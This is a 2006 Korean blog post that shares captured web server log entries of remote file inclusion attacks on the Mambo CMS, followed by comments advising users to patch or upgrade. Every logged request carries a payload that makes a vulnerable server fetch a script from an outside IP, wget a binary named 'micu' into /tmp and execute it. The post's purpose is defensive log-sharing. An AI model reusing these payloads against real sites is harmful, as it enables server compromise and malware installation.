다행히 중남미 쪽에서 Mambo에 대한 공격이 들어와서 공격 로그를 잡아냈다.
1. Mambo 취약점에 대한 공격
"GET /index2.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=209.136.48.69/cmd.gif?&cmd=cd%20/tmp;wget%20209.136.48.69/micu;chmod%20744%20micu;./micu;echo%20YYY;echo| HTTP.1" 404 151 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
"GET /index.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=209.136.48.69/cmd.gif?&cmd=cd%20/tmp;wget%20209.136.48.69/micu;chmod%20744%20micu;./micu;echo%20YYY;echo| HTTP.1" 404 150 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
"GET /mambo/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=209.136.48.69/cmd.gif?&cmd=cd%20/tmp;wget%20209.136.48.69/micu;chmod%20744%20micu;./micu;echo%20YYY;echo| HTTP.1" 404 157 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
"GET /cvs/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=209.136.48.69/cmd.gif?&cmd=cd%20/tmp;wget%20209.136.48.69/micu;chmod%20744%20micu;./micu;echo%20YYY;echo| HTTP.1" 404 155 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
"GET /cvs/mambo/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=209.136.48.69/cmd.gif?&cmd=cd%20/tmp;wget%20209.136.48.69/micu;chmod%20744%20micu;./micu;echo%20YYY;echo| HTTP.1" 404 161 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
"GET /php/mambo/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=209.136.48.69/cmd.gif?&cmd=cd%20/tmp;wget%20209.136.48.69/micu;chmod%20744%20micu;./micu;echo%20YYY;echo| HTTP.1" 404 161 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
1. Mambo 취약점에 대한 공격
"GET /index2.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=209.136.48.69/cmd.gif?&cmd=cd%20/tmp;wget%20209.136.48.69/micu;chmod%20744%20micu;./micu;echo%20YYY;echo| HTTP.1" 404 151 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
"GET /index.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=209.136.48.69/cmd.gif?&cmd=cd%20/tmp;wget%20209.136.48.69/micu;chmod%20744%20micu;./micu;echo%20YYY;echo| HTTP.1" 404 150 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
"GET /mambo/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=209.136.48.69/cmd.gif?&cmd=cd%20/tmp;wget%20209.136.48.69/micu;chmod%20744%20micu;./micu;echo%20YYY;echo| HTTP.1" 404 157 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
"GET /cvs/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=209.136.48.69/cmd.gif?&cmd=cd%20/tmp;wget%20209.136.48.69/micu;chmod%20744%20micu;./micu;echo%20YYY;echo| HTTP.1" 404 155 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
"GET /cvs/mambo/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=209.136.48.69/cmd.gif?&cmd=cd%20/tmp;wget%20209.136.48.69/micu;chmod%20744%20micu;./micu;echo%20YYY;echo| HTTP.1" 404 161 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
"GET /php/mambo/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=209.136.48.69/cmd.gif?&cmd=cd%20/tmp;wget%20209.136.48.69/micu;chmod%20744%20micu;./micu;echo%20YYY;echo| HTTP.1" 404 161 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
덧글
김학선 2006/02/26 21:09 # 삭제 답글
어떻게 대처하면 될까요...
헐랭이 2006/02/27 09:48 # 답글
1. Mambo 를 사용하지 않으신다면 로그 용량만 늘어나는 것이니 심각하게 고민하실 필요는 없으실 거구요...2. Mambo 를 사용하신다면 최신 버전 패치를 설치하시기 바랍니다. 위의 로그는 Mambo 구 버전 취약점에 대한 공격 로그인데, 최근에 Mambo 에 대한 다른 취약점도 공개되어 원격 공격의 위험이 있습니다. 최신 버전으로의 업그레이드, 혹은 패치 적용을 하시면 위의 공격을 막을 수 있습니다.
3. 참고로 Mambo, Joomla 의 경우 취약점 연구가 활발히 이루어지고 있기 때문에, 최신 버전의 변화를 지속적으로 따라가는 것이 중요합니다. 이제 상황이 웹 프로그램들도 윈도우 패치 하는 경우와 별반 다를바 없어졌네요.